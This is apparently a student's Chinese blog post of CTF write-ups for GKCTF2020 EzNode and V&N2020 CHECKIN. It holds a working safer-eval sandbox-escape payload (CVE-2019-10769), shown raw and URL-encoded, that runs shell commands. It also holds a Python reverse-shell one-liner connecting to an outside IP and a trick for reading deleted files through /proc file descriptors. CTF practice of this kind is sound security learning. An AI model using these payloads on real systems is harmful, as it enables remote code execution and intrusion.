Please enable Javascript to view the contents

CTF刷题训练之寒假篇

 ·  ☕ 2 分钟  ·  🎅 Lurenxiao · 👀... 阅读

[GKCTF2020]EZ三剑客-EzNode (day1 1-8)

进index页给了两个钮源码和版本

版本页:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
{
  "name": "src",
  "version": "1.0.0",
  "main": "index.js",
  "license": "MIT",
  "dependencies": {
    "body-parser": "1.19.0",
    "express": "4.17.1",
    "safer-eval": "1.3.6"
  }
}

再看源码。主要是一个post到eval运用saferEval。初步猜测saferEval应该是一个有限制的命令执行,题目给了版本可能是有某个CVE。上网一搜saferEval看到有关的CVE-2019-10769(任意代码执行漏洞)

已经给了一个exploit:Arbitrary Code Execution

接下来就是绕过了,在执行前有拦截器,当req.path === '/eval'时,会先设置一个较长的计时器,这个计时器如果超时就会执行eval。然后立马取消该计时器。

timmercode

这个地方感觉可以通过hack Math.max(),通过把delay调成一个超小值在计时器取消前超时,不过我没想出来怎么hack Math。用了另一种方式,当把uri改成/eval/。req.path === '/eval'为否,但会触发/eval

payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
(function () {
  const f = Buffer.prototype.write;
  const ft = {
    length: 10,
    utf8Write(){

    }
  };
  function r(i){
    var x = 0;
    try{
      x = r(i);
    }catch(e){}
    if(typeof(x)!=='number')
      return x;
    if(x!==i)
      return x+1;
    try{
      f.call(ft);
    }catch(e){
      return e;
    }
    return null;
  }
  var i=1;
  while(1){
    try{
      i=r(i).constructor.constructor("return process")();
      break;
    }catch(x){
      i++;
    }
  }
  return i.mainModule.require("child_process").execSync("whoami").toString()
})()

由于有换行urlencode一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
POST /eval/
e=(function+()+{
++const+f+%3d+Buffer.prototype.write%3b
++const+ft+%3d+{
++++length%3a+10,
++++utf8Write(){

++++}
++}%3b
++function+r(i){
++++var+x+%3d+0%3b
++++try{
++++++x+%3d+r(i)%3b
++++}catch(e){}
++++if(typeof(x)!%3d%3d'number')
++++++return+x%3b
++++if(x!%3d%3di)
++++++return+x%2b1%3b
++++try{
++++++f.call(ft)%3b
++++}catch(e){
++++++return+e%3b
++++}
++++return+null%3b
++}
++var+i%3d1%3b
++while(1){
++++try{
++++++i%3dr(i).constructor.constructor("return+process")()%3b
++++++break%3b
++++}catch(x){
++++++i%2b%2b%3b
++++}
++}
++return+i.mainModule.require("child_process").execSync("cat /flag").toString()
})()

参考

safer-eval github
Arbitrary Code Execution in safer-eval | Snyk
CVE-2019-10769-README.md · GitHub
GitHub - patriksimek/vm2: Advanced vm/sandbox for Node.js

[V&N2020 公开赛]CHECKIN

上来就给了源码

看这题,无回显,shell上来直接删flag。感觉应该用反弹shell来做,本地搭的环境经过测试可以反弹shell。在云端的不行,估计是有防火墙?

我发现sleep可以。但是也没什么好的主意。没办法了,看WP

WP用的python3弹shell成功了。为什么bash直接弹不行(一︿一+)

1
python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('174.1.85.126',9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

学到新知识,当文件描述符正在打开,而文件被删除
仍然可以在proc/[process-id]/fd/[fd-id]里看到文件内容。本题反弹shell上去之后执行

1
cat /proc/*/fd/*

即可拿到flag

参考

各种环境下反弹shell的方法
[V&N2020 公开赛]CHECKIN-python黑洞网
刷题记录:[V&N2020 公开赛]CHECKIN - MustaphaMond - 博客园

分享

Lurenxiao
作者
Lurenxiao
学生